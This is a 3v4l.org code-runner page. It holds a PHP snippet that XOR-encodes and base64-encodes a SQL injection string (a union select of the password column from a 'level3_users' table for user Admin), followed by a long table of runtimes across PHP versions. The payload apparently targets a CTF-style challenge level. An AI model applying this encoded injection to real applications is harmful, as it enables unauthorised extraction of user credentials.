3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,password,4 from level3_users where user=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00018.43
8.3.50.0130.00921.99
8.3.40.0090.00618.80
8.3.30.0060.01119.07
8.3.20.0070.00020.38
8.3.10.0000.00821.92
8.3.00.0030.00522.50
8.2.180.0070.01116.63
8.2.170.0110.01122.96
8.2.160.0100.00320.34
8.2.150.0050.00324.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0060.00319.48
8.2.110.0030.00622.26
8.2.100.0090.00617.94
8.2.90.0000.00819.20
8.2.80.0030.00518.04
8.2.70.0030.00717.50
8.2.60.0040.00417.93
8.2.50.0040.00418.07
8.2.40.0040.00418.16
8.2.30.0040.00418.14
8.2.20.0070.00017.69
8.2.10.0050.00319.53
8.2.00.0000.00817.84
8.1.280.0110.00425.92
8.1.270.0080.00022.09
8.1.260.0030.00526.35
8.1.250.0080.00028.09
8.1.240.0030.00623.84
8.1.230.0110.00019.16
8.1.220.0000.00817.79
8.1.210.0040.00418.77
8.1.200.0060.00317.35
8.1.190.0040.00417.53
8.1.180.0040.00418.10
8.1.170.0030.00518.50
8.1.160.0000.01021.96
8.1.150.0050.00218.53
8.1.140.0040.00417.53
8.1.130.0000.00717.82
8.1.120.0050.00217.34
8.1.110.0050.00317.33
8.1.100.0000.00717.31
8.1.90.0040.00417.48
8.1.80.0000.00717.35
8.1.70.0000.00717.43
8.1.60.0080.00417.43
8.1.50.0040.00417.57
8.1.40.0050.00317.48
8.1.30.0050.00217.70
8.1.20.0040.00417.59
8.1.10.0050.00317.42
8.1.00.0030.00517.46
8.0.300.0070.00018.77
8.0.290.0000.00917.18
8.0.280.0030.00518.45
8.0.270.0000.00717.30
8.0.260.0000.00716.80
8.0.250.0070.00016.88
8.0.240.0040.00416.91
8.0.230.0000.00717.04
8.0.220.0080.00016.92
8.0.210.0070.00016.81
8.0.200.0030.00317.02
8.0.190.0050.00316.98
8.0.180.0070.00016.85
8.0.170.0000.00716.84
8.0.160.0050.00216.81
8.0.150.0040.00416.85
8.0.140.0040.00416.80
8.0.130.0030.00313.40
8.0.120.0000.00716.80
8.0.110.0040.00416.87
8.0.100.0040.00416.95
8.0.90.0000.00716.90
8.0.80.0050.01016.98
8.0.70.0050.00216.85
8.0.60.0040.00416.85
8.0.50.0040.00416.90
8.0.30.0130.01017.23
8.0.20.0070.01417.40
8.0.10.0070.00016.84
8.0.00.0180.00316.85
7.4.330.0000.00515.09
7.4.320.0070.00016.57
7.4.300.0030.00316.48
7.4.290.0030.00316.69
7.4.280.0000.00716.63
7.4.270.0000.00816.54
7.4.260.0030.00316.63
7.4.250.0000.00816.58
7.4.240.0020.00516.56
7.4.230.0040.00416.50
7.4.220.0140.00416.43
7.4.210.0080.00716.63
7.4.200.0030.00316.71
7.4.190.0030.00316.51
7.4.160.0100.00716.55
7.4.150.0100.00717.40
7.4.140.0110.01117.86
7.4.130.0090.00916.60
7.4.120.0100.00716.56
7.4.110.0120.00816.54
7.4.100.0060.01416.51
7.4.90.0120.00616.54
7.4.80.0150.00319.39
7.4.70.0100.00716.52
7.4.60.0150.01016.37
7.4.50.0040.00416.74
7.4.40.0030.01022.77
7.4.30.0080.00816.51
7.4.00.0070.01215.14
7.3.330.0080.00013.27
7.3.320.0000.00513.38
7.3.310.0070.00016.49
7.3.300.0030.00316.29
7.3.290.0130.00716.37
7.3.280.0070.01116.40
7.3.270.0060.01217.40
7.3.260.0140.01216.46
7.3.250.0100.01016.29
7.3.240.0030.01316.64
7.3.230.0080.00816.39
7.3.210.0070.01016.46
7.3.200.0040.01619.39
7.3.190.0090.01316.36
7.3.180.0130.00316.39
7.3.170.0150.00016.46
7.3.160.0060.01516.58
7.3.120.0120.00514.63
7.3.110.0070.01014.85
7.3.100.0070.00714.71
7.3.90.0000.00915.07
7.3.80.0120.00015.13
7.3.70.0070.01014.68
7.3.60.0110.00315.00
7.3.50.0000.01315.06
7.3.40.0060.01014.97
7.3.30.0090.00314.87
7.3.20.0100.00316.46
7.3.10.0030.01316.67
7.3.00.0000.00916.46
7.2.330.0100.00716.86
7.2.320.0080.01116.76
7.2.310.0100.00716.74
7.2.300.0090.01216.40
7.2.290.0060.01016.71
7.2.250.0030.01614.85
7.2.240.0030.01414.98
7.2.230.0090.00615.27
7.2.220.0030.01015.26
7.2.210.0060.00815.05
7.2.200.0030.00914.92
7.2.190.0030.01315.06
7.2.180.0070.00715.07
7.2.170.0110.00315.03
7.2.00.0000.01319.28
7.1.330.0090.00315.91
7.1.320.0040.00816.00
7.1.310.0080.00815.73
7.1.300.0100.00315.75
7.1.290.0040.00415.96
7.1.280.0000.00815.60
7.1.270.0090.00015.96
7.1.260.0030.01015.63
7.1.100.0060.00618.33
7.1.70.0040.00717.25
7.1.60.0070.00416.96
7.1.50.0140.01434.88
7.1.00.0000.08022.43
7.0.200.0060.00316.89
7.0.140.0070.07022.01
7.0.60.0130.08019.94
7.0.50.0030.04017.89
7.0.40.0100.08020.27
7.0.30.0370.07320.35
7.0.20.0270.06320.23
7.0.10.0200.08320.20
7.0.00.0030.04320.06
5.6.280.0000.07321.07
5.6.210.0070.07320.61
5.6.200.0070.05018.22
5.6.190.0030.04720.48
5.6.180.0170.04720.38
5.6.170.0330.07720.56
5.6.160.0030.07720.53
5.6.150.0030.08018.18
5.6.140.0130.04318.17
5.6.130.0070.08318.15
5.6.120.0070.04321.10
5.6.110.0100.06020.92
5.6.100.0070.06721.03
5.6.90.0030.04021.11
5.6.80.0170.07720.39
5.6.70.0270.09720.38
5.5.350.0300.07720.45
5.5.340.0070.06018.02
5.5.330.0030.04020.42
5.5.320.0530.03020.13
5.5.310.0200.03720.39
5.5.300.0030.05717.99
5.5.290.0100.08317.97
5.5.280.0170.07720.98
5.5.270.0030.04320.80
5.5.260.0070.08320.89
5.5.250.0030.09020.55
5.5.240.0070.03320.16
5.4.450.0300.05019.56
5.4.440.0230.05019.55
5.4.430.0670.05319.55
5.4.420.0630.05719.38
5.4.410.0170.05318.95
5.4.400.0830.00018.51
5.4.390.0830.00018.63
5.4.380.0270.05718.80
5.4.370.0230.04718.50
5.4.360.0230.04718.46
5.4.350.0200.05718.73
5.4.340.0130.05718.51
5.4.320.0070.03612.51
5.4.310.0070.04412.51
5.4.300.0060.04512.51
5.4.290.0080.04312.50
5.4.280.0070.03512.40
5.4.270.0130.05018.89
5.4.260.0130.05018.90
5.4.250.0200.06318.74
5.4.240.0130.07318.91
5.4.230.0200.04018.61
5.4.220.0100.05319.05
5.4.210.0030.07018.89
5.4.200.0030.05318.77
5.4.190.0170.06318.59
5.4.180.0100.05318.85
5.4.170.0130.05018.85
5.4.160.0130.06719.03
5.4.150.0130.05019.03
5.4.140.0000.06016.60
5.4.130.0130.06316.43
5.4.120.0070.07016.30
5.4.110.0070.05016.48
5.4.100.0170.05316.41
5.4.90.0170.06316.55
5.4.80.0130.04316.48
5.4.70.0100.06016.46
5.4.60.0100.05016.37
5.4.50.0070.05316.33
5.4.40.0170.04016.38
5.4.30.0070.05716.40
5.4.20.0100.05016.33
5.4.10.0070.08016.37
5.4.00.0200.05715.85
5.3.290.0040.04612.80
5.3.280.0100.07014.61
5.3.270.0170.05014.60
5.3.260.0130.06714.72
5.3.250.0100.05014.83
5.3.240.0100.06714.70
5.3.230.0070.05314.57
5.3.220.0200.04014.55
5.3.210.0070.07014.48
5.3.200.0130.06314.66
5.3.190.0170.05014.54
5.3.180.0200.04314.65
5.3.170.0100.04714.79
5.3.160.0030.05314.66
5.3.150.0070.06314.75
5.3.140.0170.05014.39
5.3.130.0030.06014.52
5.3.120.0070.06714.71
5.3.110.0100.06714.54
5.3.100.0030.05714.05
5.3.90.0170.05014.20
5.3.80.0070.06714.10
5.3.70.0230.06014.11
5.3.60.0230.05714.08
5.3.50.0130.07014.03
5.3.40.0130.05014.04
5.3.30.0130.05313.98
5.3.20.0030.06713.79
5.3.10.0200.05013.74
5.3.00.0170.06013.62
5.2.170.0070.06311.37
5.2.160.0170.04711.23
5.2.150.0100.05311.22
5.2.140.0100.05011.13
5.2.130.0100.05311.10
5.2.120.0100.05011.27
5.2.110.0070.04311.02
5.2.100.0070.05711.15
5.2.90.0000.05011.19
5.2.80.0030.05011.16
5.2.70.0070.04011.09
5.2.60.0170.04311.15
5.2.50.0070.04311.14
5.2.40.0030.06010.99
5.2.30.0100.05310.82
5.2.20.0030.04310.79
5.2.10.0100.04011.02
5.2.00.0000.05010.68
5.1.60.0130.02710.24
5.1.50.0030.05010.20
5.1.40.0100.03710.07
5.1.30.0070.03310.42
5.1.20.0070.04710.34
5.1.10.0070.05010.22
5.1.00.0130.0439.99
5.0.50.0030.0408.55
5.0.40.0070.0238.67
5.0.30.0030.0608.40
5.0.20.0100.0208.30
5.0.10.0030.0308.16
5.0.00.0130.0508.25
4.4.90.0030.0306.45
4.4.80.0070.0236.45
4.4.70.0070.0276.43
4.4.60.0000.0306.41
4.4.50.0030.0306.20
4.4.40.0100.0406.03
4.4.30.0070.0176.03
4.4.20.0000.0236.03
4.4.10.0030.0276.03
4.4.00.0030.0376.03
4.3.110.0030.0436.03
4.3.100.0070.0206.03
4.3.90.0070.0176.03
4.3.80.0070.0406.03
4.3.70.0070.0276.03
4.3.60.0030.0306.03
4.3.50.0070.0276.03
4.3.40.0030.0336.03
4.3.30.0000.0236.04
4.3.20.0000.0276.04
4.3.10.0000.0306.04
4.3.00.0070.0237.33

preferences:
47.48 ms | 401 KiB | 5 Q